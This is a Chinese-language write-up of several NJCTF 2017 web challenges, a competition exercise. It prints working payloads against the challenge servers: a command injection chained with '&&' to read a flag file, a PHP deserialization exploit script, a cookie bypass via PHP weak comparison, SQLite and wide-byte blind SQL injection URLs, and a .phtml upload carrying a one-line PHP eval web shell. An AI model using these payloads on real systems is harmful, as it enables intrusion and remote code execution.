第一天的早上先打了内部的ZJCTF,所以第一天的解题比较废,根本没心情做下去了
- 以下是我在这次CTF中遇到的套路
login
http://218.2.197.235:23731/
大致看了下就两个功能,一个是登录一个是注册,因为注册功能中密码的规则写的很严格猜测有正则,因此首先第一个想法就是超长用户名注册。
灵感来自2016安恒CTF赛线下的第一题。
鬼知道多少个空格没仔细去算,直接打到很长就过了
在次以admin用户登录,直接拿到Flag
Get Flag
输入一个错误的图片后会返回
base64信息
cat: images/1.: No such file or directory
早上的ZJCTF刚做了一题DVWA的命令注入
所以思路很简单直接绕过就可以了
payload:
1.jpg && cd ../../ && cat 9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
Text Wall
反序列化漏洞
刚开始一直想不给源码怎么构造序列化2333
坑点就在这次不是.index.php.swp
而是.index.php.swo
找到源码后很容易构造出
<?php
//$lists = [];
class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$bertram=new filelist();
$bertram->source="../PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";
$arr=array($bertram,"1");
$c=serialize($arr);
//echo $c;
echo sha1($c).$c;
?>
payload:
472dedf2e52538d83e277d1f8bf6c6a9f617c901a:2:{i:0;O:8:"filelist":1:{s:6:"source";s:40:"../PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";}i:1;s:1:"1";}
Wallet
cookie里有个auth
、hsh
以为只是简单的过验证,发现不行,又爆破2333,然后就没辙了,没想过去爆破目录结构的2333
后来得到东大师傅的指点有源码233,得到www.zip的压缩包密码是njctf2017不说了,常规套路
phpjm解密后,源码审计发现有一处需要绕过也就是刚刚那个cookie
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh)
{
$auth=0;
}
else if (sha1((string)$hsh) == md5((string)$auth))
{
$auth = 1;
}
else
{ $auth=0; }
php弱类型中有一类是在md5和sha1后若是0e
开头的值利用php==
的特性可以绕过
payload就不给了,google一大堆
绕过后就是sqlite注入啦
很容易,没学过sqlite当场开服务器现学sqlite构造出payload
http://218.2.197.235:23723/admin.php?query=1 union select id from flag limit 1,1
Come on
这题真的比较恶心,还有这种玩法的???o(*≧▽≦)ツ┏━┓拍桌狂笑
算了这是CTF
宽字节注入,但是这个语法让我挺绝望的
一个是括号绕过空格
还一个是禁用了ascii、substr等关键函数
刚开始想用regexp正则出flag的所有字符再去大小写爆破后匹配的
结果爆出来的flag是:NJCTF{*5h0w_m3_s0m3_sq1i_trick5}
然后写了个嵌套跑了两圈直接给挂了
就有了下面的payload
payload:
"http://218.2.197.235:23733/index.php?key=%df%27||(select(right(left((select(flag)from(flag))"+str(i)+",1),1)))=binary("+a+")%23"
a
的地方是hex可以爆出完整flag
picture wall`
很牛逼,刷新三观
现实中哪有这种玩法的?
直接登录无论怎么样都能登录
伪php脚本
<?php
session_start();
if($_SERVER['HTTP_HOST']='127.0.0.1')
{
$SESSION['auth']=1;
$username='root';
}
else
{
$SESSION['auth']=0;
}
if(isset($_GET['username'])&&isset($_GET['password']))
{
$username=$_GET['username'];
}
?>
服了这脑洞了( ̄工 ̄lll)
登陆成功后就是一个上传
先是文件后缀名检测,印象中php的可执行文件不仅仅有php,php5等还记得一个phtml也是可执行。
尝试一下,就过了
好像平台重新开启后不允许上传了2333
此处本应有截图
还有一个坑点是在内容检测上应该是检测<?
、?>
想到syclover的招新赛上有一个<script language='php'>@eval($_POST['bertram'])</script>
的绕过
如果没猜错应该就是这个姿势了
拿到flag。